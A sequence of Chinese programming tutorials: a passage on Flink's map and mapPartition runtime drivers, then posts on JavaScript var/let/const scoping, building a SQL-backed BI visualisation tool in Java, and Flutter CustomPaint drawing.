   while (result.isFullBuffer()) {
      finishBufferBuilder(bufferBuilder);

      // If this was a full record, we are done. Not breaking out of the loop at this point
      // will lead to another buffer request before breaking out (that would not be a
      // problem per se, but it can lead to stalls in the pipeline).
      if (result.isFullRecord()) {
         pruneTriggered = true;
         emptyCurrentBufferBuilder(targetChannel);
         break;
      }

      bufferBuilder = requestNewBufferBuilder(targetChannel);
      result = serializer.copyToBufferBuilder(bufferBuilder);
   }
   checkState(!serializer.hasSerializedData(), "All data should be written at once");

   // 如果buffer超時時間為0,需要flush目標channel的數據
   if (flushAlways) {
      flushTargetPartition(targetChannel);
   }
   return pruneTriggered;
}

0x04 runtime

4.1 Driver

Driver是Flink runtime的一個重要概念,是在一個task中運行的用戶業務邏輯組件,具體實現了批量操作代碼。其內部API包括初始化,清除,運行,取消等邏輯。

public interface Driver<S extends Function, OT> {
   ......
   void setup(TaskContext<S, OT> context);
   void run() throws Exception;
   void cleanup() throws Exception;
   void cancel() throws Exception;
}

具體在 org.apache.flink.runtime.operators 目錄下,我們能夠看到各種Driver的實現,基本的算子都有自己的Driver。

......
CoGroupDriver.java
FlatMapDriver.java
FullOuterJoinDriver.java
GroupReduceCombineDriver.java
GroupReduceDriver.java
JoinDriver.java
LeftOuterJoinDriver.java
MapDriver.java
MapPartitionDriver.java
......

4.2 MapDriver

map算子對應的就是MapDriver。

結合上節我們知道,上游數據是通過batch方式批量傳入的。所以,在run函數會遍歷輸入,每次取出一個record,然後調用用戶自定義函數function.map對這個record做map操作。

public class MapDriver<IT, OT> implements Driver<MapFunction<IT, OT>, OT> {

   @Override
   public void run() throws Exception {
      final MutableObjectIterator<IT> input = this.taskContext.getInput(0);
      .....
      else {
         IT record = null;
        
         // runtime主動進行循環,這樣導致大量函數調用
         while (this.running && ((record = input.next()) != null)) {
            numRecordsIn.inc();
            output.collect(function.map(record)); // function是用戶函數
         }
      }
   }
}

4.3 MapPartitionDriver

MapPartitionDriver是mapPartition的具體組件。系統會把得到的批量數據inIter一次性的都傳給用戶自定義函數,由用戶代碼來進行遍歷操作。

public class MapPartitionDriver<IT, OT> implements Driver<MapPartitionFunction<IT, OT>, OT> {
   @Override
   public void run() throws Exception {
     
		final MutableObjectIterator<IT> input = new CountingMutableObjectIterator<>(this.taskContext.<IT>getInput(0), numRecordsIn);     
      ......
      } else {
         final NonReusingMutableToRegularIteratorWrapper<IT> inIter = new NonReusingMutableToRegularIteratorWrapper<IT>(input, this.taskContext.<IT>getInputSerializer(0).getSerializer());

         // runtime不參与循環,這樣可以減少函數調用
         function.mapPartition(inIter, output);
      }
   }
}

4.4 效率區別

我們能夠看到map和mapPartition的input都是MutableObjectIterator input類型, 說明兩者的輸入一致。只不過map是在Driver代碼中進行循環,mapPartition在用戶代碼中進行循環。具體mapPartition的 效率提高體現在如下方面 :

  1. 假設一共有60個數據需要轉換,map會在runtime中調用用戶函數60次。
  2. runtime把數據分成6個partition操作,則mapPartition在runtime中會調用用戶函數6次,在每個用戶函數中分別循環10次。對於runtime來說,map操作會多出54次用戶函數調用。
  3. 如果用戶業務中需要頻繁創建額外的對象或者外部資源操作,mapPartition的優勢更可以體現。 例如將數據寫入Mysql, 那麼map需要為每個元素創建一個數據庫連接,而mapPartition為每個partition創建一個鏈接。

假設有上億個數據需要map,這資源佔用和運行速度效率差別會相當大。

0x05 優化和ChainedMapDriver

之前提到了優化,這裏我們再詳細深入下如何優化map算子。

Flink有一個關鍵的優化技術稱為任務鏈,用於(在某些情況下)減少本地通信的過載。為了滿足任務鏈的條件,至少兩個以上的operator必須配置為同一併行度,並且使用本地向前的(local forwad)方式連接。任務鏈可以被認為是一種管道。

當管道以任務鏈的方式執行時候,Operators的函數被融合成單個任務,並由一個單獨的線程執行。一個function產生的records,通過使用一個簡單的方法調用,被遞交給下一個function。所以這裡在方法之間的records傳遞中,基本沒有序列化以及通信消耗。

針對優化后的Operator Chain,runtime對應的Driver則是ChainedMapDriver。這是通過 MAP(MapDriver.class, ChainedMapDriver.class, PIPELINED, 0), 映射得到的。

我們可以看到,因為是任務鏈,所以每個record是直接在管道中流淌 ,ChainedMapDriver連循環都省略了,直接map轉換后丟給下游去也。

public class ChainedMapDriver<IT, OT> extends ChainedDriver<IT, OT> {

   private MapFunction<IT, OT> mapper; // 用戶函數

   @Override
   public void collect(IT record) {
      try {
         this.numRecordsIn.inc();
         this.outputCollector.collect(this.mapper.map(record));
      } catch (Exception ex) {
         throw new ExceptionInChainedStubException(this.taskName, ex);
      }
   }
}

// 這時的調用棧如下
map:23, UserFunc$1 (com.alibaba.alink)
collect:79, ChainedMapDriver (org.apache.flink.runtime.operators.chaining)
collect:35, CountingCollector (org.apache.flink.runtime.operators.util.metrics)
invoke:196, DataSourceTask (org.apache.flink.runtime.operators)
doRun:707, Task (org.apache.flink.runtime.taskmanager)
run:532, Task (org.apache.flink.runtime.taskmanager)
run:748, Thread (java.lang)

0x06 總結

map和mapPartition實現的基礎是Flink的數據傳輸機制 :Flink確實是每次都處理一個輸入record,但是在上下游之間傳輸時候,Flink還是把records累積起來做批量傳輸。即可以認為從數據傳輸模型角度講,Flink是微批次的。

對於數據流轉換,因為是批量傳輸,所以對於積累的records,map是在runtime Driver代碼中進行循環,mapPartition在用戶代碼中進行循環。

map的函數調用次數要遠高於mapPartition。如果在用戶函數中涉及到頻繁創建額外的對象或者外部資源操作,則mapPartition性能遠遠高出。

如果沒有connection之類的操作,則通常性能差別並不大,通常不會成為瓶頸,也沒有想象的那麼嚴重。

0x07 參考

深入了解 Flink 網絡棧 ——A Deep-Dive into Flink’s Network Stack

Flink架構(二)- Flink中的數據傳輸

Flink 源碼之節點間通信

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目錄

  • 序言
  • var 與 let 的區別
    • 作用域
    • 重複聲明
    • 綁定全局對象
    • 變量提升與暫存死區
  • let 與 const 異同
  • 參考

1.序言

var、let 和 const 都是 JavaScript 中用來聲明變量的關鍵字,並且 let 和 const 關鍵字是在 ES6 中才新增的。既然都是用來聲明變量的,那它們之間有什麼區別呢?讓我們來一探究竟。

2.var 與 let 的區別

(1)作用域

用 var 聲明的變量的作用域是它當前的執行上下文,即如果是在任何函數外面,則是全局執行上下文,如果在函數裏面,則是當前函數執行上下文。換句話說,var 聲明的變量的作用域只能是全局或者整個函數塊的。

而 let 聲明的變量的作用域則是它當前所處代碼塊,即它的作用域既可以是全局或者整個函數塊,也可以是 if、while、switch等用{}限定的代碼塊。

另外,var 和 let 的作用域規則都是一樣的,其聲明的變量只在其聲明的塊或子塊中可用。

示例代碼:

function varTest() {
  var a = 1;

  {
    var a = 2; // 函數塊中,同一個變量
    console.log(a); // 2
  }

  console.log(a); // 2
}

function letTest() {
  let a = 1;

  {
    let a = 2; // 代碼塊中,新的變量
    console.log(a); // 2
  }

  console.log(a); // 1
}

varTest();
letTest();

從上述示例中可以看出,let 聲明的變量的作用域可以比 var 聲明的變量的作用域有更小的限定範圍,更具靈活。

(2)重複聲明

var 允許在同一作用域中重複聲明,而 let 不允許在同一作用域中重複聲明,否則將拋出異常。

var 相關示例代碼:

var a = 1;
var a = 2;

console.log(a) // 2

function test() {
  var a = 3;
  var a = 4;
  console.log(a) // 4
}

test()

let 相關示例代碼:

if(false) {
  let a = 1;
  let a = 2; // SyntaxError: Identifier 'a' has already been declared
}
switch(index) {
  case 0:
    let a = 1;
  break;

  default:
    let a = 2; // SyntaxError: Identifier 'a' has already been declared
    break;
}

從上述示例中可以看出,let 聲明的重複性檢查是發生在詞法分析階段,也就是在代碼正式開始執行之前就會進行檢查。

(3)綁定全局對象

var 在全局環境聲明變量,會在全局對象里新建一個屬性,而 let 在全局環境聲明變量,則不會在全局對象里新建一個屬性。

示例代碼:

var foo = 'global'
let bar = 'global'

console.log(this.foo) // global
console.log(this.bar) // undefined

那這裏就一個疑問, let 在全局環境聲明變量不在全局對象的屬性中,那它是保存在哪的呢?

var foo = 'global'
let bar = 'global'

function test() {}

console.dir(test)

在Chrome瀏覽器的控制台中,通過執行上述代碼,查看 test 函數的作用域鏈,其結果如圖:

由上圖可知,let 在全局環境聲明變量 bar 保存在[[Scopes]][0]: Script這個變量對象的屬性中,而[[Scopes]][1]: Global就是我們常說的全局對象。

(4)變量提升與暫存死區

var 聲明變量存在變量提升,如何理解變量提升呢?

要解釋清楚這個,就要涉及到執行上下文和變量對象。

在 JavaScript 代碼運行時,解釋執行全局代碼、調用函數或使用 eval 函數執行一個字符串表達式都會創建並進入一個新的執行環境,而這個執行環境被稱之為執行上下文。因此執行上下文有三類:全局執行上下文、函數執行上下文、eval 函數執行上下文。

執行上下文可以理解為一個抽象的對象,如下圖:

Variable object:變量對象,用於存儲被定義在執行上下文中的變量 (variables) 和函數聲明 (function declarations) 。

Scope chain:作用域鏈,是一個對象列表 (list of objects) ,用以檢索上下文代碼中出現的標識符 (identifiers) 。

thisValue:this 指針,是一個與執行上下文相關的特殊對象,也被稱之為上下文對象。

一個執行上下文的生命周期可以分為三個階段:創建、執行、釋放。如下圖:

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而所有使用 var 聲明的變量都會在執行上下文的創建階段時作為變量對象的屬性被創建並初始化,這樣才能保證在執行階段能通過標識符在變量對象里找到對應變量進行賦值操作等。

而用 var 聲明的變量構建變量對象時進行的操作如下:

  • 由名稱和對應值(undefined)組成一個變量對象的屬性被創建(創建並初始化)
  • 如果變量名稱跟已經聲明的形式參數或函數相同,則變量聲明不會幹擾已經存在的這類屬性。

上述過程就是我們所謂的“變量提升”,這也就能解釋為什麼變量可以在聲明之前使用,因為使用是在執行階段,而在此之前的創建階段就已經將聲明的變量添加到了變量對象中,所以執行階段通過標識符可以在變量對象中查找到,也就不會報錯。

示例代碼:

console.log(a) // undefined

var a = 1;

console.log(a) // 1

let 聲明變量存在暫存死區,如何理解暫存死區呢?

其實 let 也存在與 var 類似的“變量提升”過程,但與 var 不同的是其在執行上下文的創建階段,只會創建變量而不會被初始化(undefined),並且 ES6 規定了其初始化過程是在執行上下文的執行階段(即直到它們的定義被執行時才初始化),使用未被初始化的變量將會報錯。

let and const declarations define variables that are scoped to the running execution context’s LexicalEnvironment. The variables are created when their containing Lexical Environment is instantiated but may not be accessed in any way until the variable’s LexicalBinding is evaluated. A variable defined by a LexicalBinding with an Initializer is assigned the value of its Initializer’s AssignmentExpression when the LexicalBinding is evaluated, not when the variable is created. If a LexicalBinding in a let declaration does not have an Initializer the variable is assigned the value undefined when the LexicalBinding is evaluated.

在變量初始化前訪問該變量會導致 ReferenceError,因此從進入作用域創建變量,到變量開始可被訪問的一段時間(過程),就稱為暫存死區(Temporal Dead Zone)。

示例代碼 1:

console.log(bar); // undefined
console.log(foo); // ReferenceError: foo is not defined

var bar = 1;
let foo = 2;

示例代碼 2:

var foo = 33;
{
  let foo = (foo + 55); // ReferenceError: foo is not defined
}

注:首先,需要分清變量的創建、初始化、賦值是三個不同的過程。另外,從 ES5 開始用詞法環境(Lexical Environment)替代了 ES3 中的變量對象(Variable object)來管理靜態作用域,但作用是相同的。為了方便理解,上述講解中仍保留使用變量對象來進行描述。

小結

  1. var 聲明的變量在執行上下文創建階段就會被「創建」和「初始化」,因此對於執行階段來說,可以在聲明之前使用。

  2. let 聲明的變量在執行上下文創建階段只會被「創建」而不會被「初始化」,因此對於執行階段來說,如果在其定義執行前使用,相當於使用了未被初始化的變量,會報錯。

3.let 與 const 異同

const 與 let 很類似,都具有上面提到的 let 的特性,唯一區別就在於 const 聲明的是一個只讀變量,聲明之後不允許改變其值。因此,const 一旦聲明必須初始化,否則會報錯。

示例代碼:

let a;
const b = "constant"

a = "variable"
b = 'change' // TypeError: Assignment to constant variable

如何理解聲明之後不允許改變其值?

其實 const 其實保證的不是變量的值不變,而是保證變量指向的內存地址所保存的數據不允許改動(即棧內存在的值和地址)。

JavaScript 的數據類型分為兩類:原始值類型和對象(Object類型)。

對於原始值類型(undefined、null、true/false、number、string),值就保存在變量指向的那個內存地址(在棧中),因此 const 聲明的原始值類型變量等同於常量。

對於對象類型(object,array,function等),變量指向的內存地址其實是保存了一個指向實際數據的指針,所以 const 只能保證指針是不可修改的,至於指針指向的數據結構是無法保證其不能被修改的(在堆中)。

示例代碼:

const obj = {
  value: 1
}

obj.value = 2

console.log(obj) // { value: 2 }

obj = {} // TypeError: Assignment to constant variable

4.參考

var – JavaScript | MDN

let – JavaScript – MDN – Mozilla

const – JavaScript – MDN – Mozilla

深入理解JavaScript系列(12):變量對象(Variable Object)

ES6 let 與 const

詳解ES6暫存死區TDZ

嗨,你知道 let 和 const 嗎?

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一、數據可視化

1、基礎概念

數據可視化,是關於數據視覺表現形式的科學技術研究。其中,這種數據的視覺表現形式被定義為,一種以某種概要形式抽取出來的信息,包括相應信息單位的各種屬性和變量。

如果說的實際貼切的話:系統開發中常見的數據報表統計,將數據用圖表或表格的形式呈現出來,幫助運營或者決策人員了解這些數據的規律或者價值,就是簡單的可視化應用。

從開發角度來看,把系統中的核心數據,用一定的手段進行統計,在藉助一些精美的圖表樣式,展示出來,或者把一系列圖表組裝成一個數據大屏,格調十足。

但是從運營人員的角度看,更多的是藉助可視化數據分析業務場景,得到有價值的參考數據,為後續的決策或者開展活動提供指導。所以隨着業務線的不斷髮展,對數據分析的要求越來越高,也就誕生現在比較常見的BI分析工具和BI分析師。

2、數據可視化價值

  • 準確高效直觀的傳遞傳遞數據中的規律和信息;
  • 實時監控系統各項數據指標,實現數據的自解釋;
  • 基於可視化洞察數據規律,指定精準的運營策略;

3、基礎構建原則

簡單的步驟如下:基於業務需求,完成可視化數據處理(收集,規則,定時任務等)。藉助常用的圖表進行組合展示,但是也有一些注意事項如下:

  • 可視化的數據要關聯核心的有業務價值的數據;
  • 圖表的展現注意簡單,明了,圖表的本質就是讓數據更直觀;
  • 不要為了追求系統花哨,可以大批量添加圖表;

二、常用圖表設計

1、常見基礎圖表

柱狀圖

特點:一般展現分組數據,直觀展示各組數據差異,例如常見以每周,每月,或者不同客戶端劃分為軸的數據。

折線圖

特點:重點展現數據的變化趨勢,常見以時間為軸,展示時間下的數據趨勢。

餅狀圖

特點:不注重數據明細,強調數據中各項佔總體的百分比,或者分佈情況,注重模塊模塊之間的對比。

漏斗圖

特點:強調數據之間的轉化關係和遞進規律,經典常見就是用戶瀏覽量,點擊量,到訂單支付數量。

組合圖

特點:多種基礎圖表組合,某些特殊業務數據,需要結合兩種圖或者更多種圖表,強調裝載該業務報表的關鍵組合信息。

2、數據大屏

顧名思義,放在大屏幕的報表,一般有多種豐富的業務數據,自然需要多種報表展現形式,比較有立體感和視覺上的衝擊力。

絮叨一句:數據大屏在更多時候所追求的是讓人印象深刻,這才是最關鍵的,懂的都懂。

三、常用統計方式

1、SQL分析語句

在報表類業務中,經常使用SQL分析語句,常用的幾個方法:

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有別於一般網頁架設公司,除了模組化的架站軟體,我們的營業主軸還包含:資料庫程式開發、網站建置、網頁設計、電子商務專案開發、系統整合、APP設計建置、專業網路行銷。

  • count:數據求和,求總數,例如多少用戶;
  • sum:求和函數,例如總銷量,總成本等;
  • group-by:分組統計,分組結果就是軸標識;
  • average:平均值計算,例如平均每天銷量;

業務類的報表雖然複雜,但是報表相關的數據接口相對而言簡單,基於一些基礎的統計SQL,生成報表數據。

2、基礎案例

產品和緯度表

CREATE TABLE `vc_product_info` (
  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主鍵ID',
  `product_sort` varchar(20) DEFAULT '' COMMENT '產品分類',
  `product_name` varchar(50) DEFAULT '' COMMENT '產品名稱',
  `inventory` int(11) DEFAULT '0' COMMENT '庫存剩餘',
  `price` decimal(10,2) DEFAULT '0.00' COMMENT '單價',
  `total_sales` int(11) DEFAULT '0' COMMENT '銷售總量',
  `sales_amount` decimal(10,2) DEFAULT '0.00' COMMENT '銷售總額',
  `create_time` datetime DEFAULT NULL COMMENT '創建時間',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='產品信息表';

CREATE TABLE `vc_product_detail` (
	`id` INT (11) NOT NULL AUTO_INCREMENT COMMENT '主鍵ID',
	`product_id` INT (11) NOT NULL COMMENT '產品ID',
	`place_origin` VARCHAR (50) DEFAULT '' COMMENT '產品產地',
	`weight` DECIMAL (10, 2) DEFAULT '0.00' COMMENT '重量',
	`color` VARCHAR (50) DEFAULT '' COMMENT '顏色',
	`high_praise` INT (11) DEFAULT '0' COMMENT '好評數量',
	`low_praise` INT (11) DEFAULT '0' COMMENT '差評數量',
	`create_time` datetime DEFAULT NULL COMMENT '創建時間',
	PRIMARY KEY (`id`)
) ENGINE = INNODB DEFAULT CHARSET = utf8 COMMENT = '產品維度表';

基礎查詢語句

<mapper namespace="com.visual.chart.mapper.ProductInfoMapper">

    <!-- 商品種類 -->
    <select id="countNum" resultType="java.lang.Integer">
        SELECT COUNT(product_name) FROM vc_product_info
    </select>

    <!-- 銷售總額度 -->
    <select id="sumAll" resultType="java.lang.Double">
        SELECT SUM(sales_amount) FROM vc_product_info
    </select>

    <!-- 分組求和 -->
    <select id="groupSum" resultType="java.util.Map">
        SELECT product_sort,SUM(sales_amount) FROM vc_product_info GROUP BY product_sort
    </select>

    <!-- 平均單價 -->
    <select id="average" resultType="java.lang.Double">
        SELECT AVG(price) FROM vc_product_info
    </select>
</mapper>

四、自定義工具

1、數據集

數據集概念

DataSet是一個數據的集合,通常以列表形式出現。每一列代表一個特定變量。每一行都對應於某一成員的數據集的問題。在統計分析的業務中,通常稱為大寬表,方便業務分析。

數據集生成

視圖方式

基於視圖的方式,生成一個單表的數據集,方便簡化操作。該方式不提倡,視圖在大部分公司里是禁止使用的,這裏只是單純演示。

基於上述產品信息表和維度表,通過視圖手段生成數據集,單純為了簡化業務分析的操作難度,因為多表聯合簡化成感覺上的單表。

CREATE OR REPLACE 
VIEW data_set_view AS SELECT
	t1.*, t2.place_origin,
	t2.weight,
	t2.color,
	t2.high_praise,
	t2.low_praise
FROM vc_product_info t1
LEFT JOIN vc_product_detail t2 ON t1.id = t2.product_id

任務方式

通過定時任務,獲取要分析的數據結構,不斷注入到分析表中,這是業務開發中最常見的報表數據集生成方式,有的甚至通過定時任務直接統計出報表需要的數據,不適應於大數據場景。

離線或實時計算

通過大數據分析手段,離線計算或者實時計算,獲取業務報表數據,注入OLAP實時分析計算庫,使用大數據分析場景。

2、定製化BI工具

BI工具可以快速對業務數據進行有效的整合,快速準確的提供報表並提出決策依據,幫助企業做出明智的業務經營決策。商業智能的概念最早在1996年提出。當時將商業智能定義為一類由數據倉庫(或數據集市)、查詢報表、數據分析、數據挖掘、數據備份和恢復等部分組成的、以幫助企業決策為目的技術及其應用。

基本搭建思路:

  • 管理數據源,建立數據表之間關係,維護特定數據集;
  • 創建可拖拉拽的報告面板,用來承載單個圖表組合;
  • 封裝不同的圖表的處理邏輯,規則展示,關聯數據集字段;
  • 封裝圖表樣式,例如大小、顏色、背景、交互等可配置;
  • 圖表關聯分析數據集,報告面板組合多個圖表生成報告;

實際的開發過程是非常複雜的,管理各個業務線的數據源,聯合分析,適配各種圖表規範和樣式,都是一個十分漫長的過程。

3、基礎案例

接口入參

承接上述業務場景,這裏參數都需要動態傳入,例如操作的:數據集、圖表、參數歸屬軸、或者業務產品參數等。

@RestController
public class DefineController {

    @Resource
    private DataSetService dataSetService ;
    /**
     * 自定義可視化報告入參
     */
    @GetMapping("/getDefChart")
    public Map<Integer, List<ChartParam>> getDefChart (){
        List<ChartParam> chartParamList = new ArrayList<>() ;
        chartParamList.add(new ChartParam("X",1,"data_set_view","product_sort")) ;
        chartParamList.add(new ChartParam("X",1,"data_set_view","product_name")) ;
        chartParamList.add(new ChartParam("Y",2,"data_set_view","high_praise")) ;
        chartParamList.add(new ChartParam("Y",2,"data_set_view","low_praise")) ;
        chartParamList.add(new ChartParam("Z",3,"data_set_view","inventory",1)) ;
        chartParamList.add(new ChartParam("Z",3,"data_set_view","total_sales",1)) ;
        return dataSetService.analyData(chartParamList);
    }
}

參數解析

根據各種動態參數,解析查詢條件,獲取查詢結果。

@Service
public class DataSetServiceImpl implements DataSetService {

    @Resource
    private DataSetMapper dataSetMapper ;
    // 分析任務劃分
    @Override
    public Map<Integer, List<ChartParam>> analyData(List<ChartParam> chartParamList) {
        Map<Integer, List<ChartParam>> dataMap = chartParamList.stream()
                                                 .collect(Collectors
                                                 .groupingBy(ChartParam::getDataType));
        for (Integer dataType:dataMap.keySet()){
            switch (dataType){
                case 1: // Count 風格數據
                    taskCount(dataMap.get(dataType));
                    break;
                case 2: // Sum 風格數據
                    taskSum(dataMap.get(dataType));
                    break;
                case 3: // Percent 風格數據
                    taskPercent(dataMap.get(dataType));
                    break;
                default:
                    break;
            }
        }
        return dataMap ;
    }
    // Count 數據執行
    private void taskCount (List<ChartParam> chartParamList){
        for (ChartParam chartParam:chartParamList){
            chartParam.setResultNum(dataSetMapper.taskCount(chartParam.getColumnName(),
                                                            chartParam.getTableName()));
        }
    }
    // Sum 數據執行
    private void taskSum (List<ChartParam> chartParamList){
        for (ChartParam chartParam:chartParamList){
            chartParam.setResultNum(dataSetMapper.taskSum(chartParam.getColumnName(),
                                                          chartParam.getTableName()));
        }
    }
    // Percent 數據執行
    private void taskPercent (List<ChartParam> chartParamList){
        for (ChartParam chartParam:chartParamList){
            chartParam.setResultNum(dataSetMapper.taskPercent(chartParam.getColumnName(),
                                                              chartParam.getTableName(),
                                                              chartParam.getProductId()));
        }
    }
}

總結一句:數據可視化工具建設是個漫長過程,不僅僅可以分析自己公司的業務,也可以作為開放BI工具產生價值。

五、源代碼地址

GitHub·地址
https://github.com/cicadasmile/data-manage-parent
GitEE·地址
https://gitee.com/cicadasmile/data-manage-parent

推薦閱讀:《架構設計系列》,蘿蔔青菜,各有所需

序號 標題
01 架構設計:單服務.集群.分佈式,基本區別和聯繫
02 架構設計:分佈式業務系統中,全局ID生成策略
03 架構設計:分佈式系統調度,Zookeeper集群化管理
04 架構設計:接口冪等性原則,防重複提交Token管理
05 架構設計:緩存管理模式,監控和內存回收策略

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老孟導讀:CustomPaint可以稱之為動畫鼻祖,它可以實現任何酷炫的動畫和效果。CustomPaint本身沒有動畫屬性,僅僅是繪製屬性,一般情況下,CustomPaint會和動畫控制配合使用,達到理想的效果。

基本用法

CustomPaint的用法非常簡單,如下:

CustomPaint(
  painter: MyCustomPainter(),
)

MyCustomPainter定義如下:

class MyCustomPainter extends CustomPainter {
  @override
  void paint(Canvas canvas, Size size) {}

  @override
  bool shouldRepaint(MyCustomPainter oldDelegate) {
    return this != oldDelegate;
  }
}

上面的MyCustomPainter為了看起來清晰,什麼也沒有做,通常情況下,在paint方法內繪製自定義的效果。shouldRepaint方法通常在當前實例和舊實例屬性不一致時返回true。

paint通過canvas繪製,size為當前控件的大小,下面看看canvas的方法。

繪製點

Paint _paint = Paint()
    ..color = Colors.red
    ..strokeWidth = 3;

  @override
  void paint(Canvas canvas, Size size) {
    var points = [
      Offset(0, 0),
      Offset(size.width / 2, size.height / 2),
      Offset(size.width, size.height),
    ];
    canvas.drawPoints(PointMode.points, points, _paint);
  }

PointMode有3種模式:

  • points:點
  • lines:將2個點繪製為線段,如果點的個數為奇數,最後一個點將會被忽略
  • polygon:將整個點繪製為一條線

繪製線

canvas.drawLine(Offset(0, 0),Offset(size.width, size.height), _paint);

繪製路徑

Paint _paint = Paint()
  ..color = Colors.red
  ..style = PaintingStyle.stroke
  ..strokeWidth = 3;

@override
void paint(Canvas canvas, Size size) {
  print('size:$size');
  var _path = Path()
    ..moveTo(0, 0)
    ..lineTo(size.width, 0)
    ..lineTo(size.width, size.height)
  ..close();
  canvas.drawPath(_path, _paint);
}

這裏注意Paint.style,還可以設置為PaintingStyle.fill,效果如下:

此時Path的路徑不要在一條直線上,否則會看不到效果。

繪製各種形狀

繪製圓形

canvas.drawCircle(Offset(size.width/2, size.height/2), 20, _paint);

繪製橢圓

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canvas.drawOval(Rect.fromLTRB(0, 0, size.width, size.height/2), _paint);

如果給定的Rect為正方形,那麼橢圓將會變為圓形。

繪製弧

canvas.drawArc(
    Rect.fromLTRB(0, 0, size.width, size.height), 0, pi/2, true, _paint);

繪製圓角矩形

canvas.drawRRect(
    RRect.fromLTRBR(0, 0, size.width, size.height, Radius.circular(10)), _paint)

canvas還有很多繪製函數,比如貝塞爾曲線、三次貝塞爾曲線、畫布的反轉等操作,這裏不在一一介紹。

這些函數和Android的Canvas基本一樣,如果你有Android基礎,直接套用即可。

最後奉上一個繪製玫瑰的動畫效果:

這個效果是不是很酷炫,我們看下繪製花骨朵代碼:

///
/// 繪製花骨朵
///
_drawFlower(Canvas canvas, Size size) {
  //將花變為紅色
  if (flowerPaths.length >= RoseData.flowerPoints.length) {
    var path = Path();
    for (int i = 0; i < flowerPaths.length; i++) {
      if (i == 0) {
        path.moveTo(flowerPaths[i].dx, flowerPaths[i].dy);
      } else {
        path.lineTo(flowerPaths[i].dx, flowerPaths[i].dy);
      }
    }
    _paint.style = PaintingStyle.fill;
    _paint.color = _flowerColor;
    canvas.drawPath(path, _paint);
  }
  //繪製線
  _paint.style = PaintingStyle.stroke;
  _paint.color = _strokeColor;
  //去掉最後2個點,最後2個點為了繪製紅色
  var points = flowerPaths.sublist(0, max(0, flowerPaths.length - 2));
  canvas.drawPoints(PointMode.polygon, points, _paint);
}

花骨朵的繪製只通過canvas.drawPath就實現了,其實整個玫瑰花的繪製都是通過canvas.drawPath加上動畫控制實現的。

CustomPaint可以實現任何你想要的動畫的效果,比如繪畫版就可以通過此控件實現。

獲取完整代碼方式掃碼下方二維碼回復:rose

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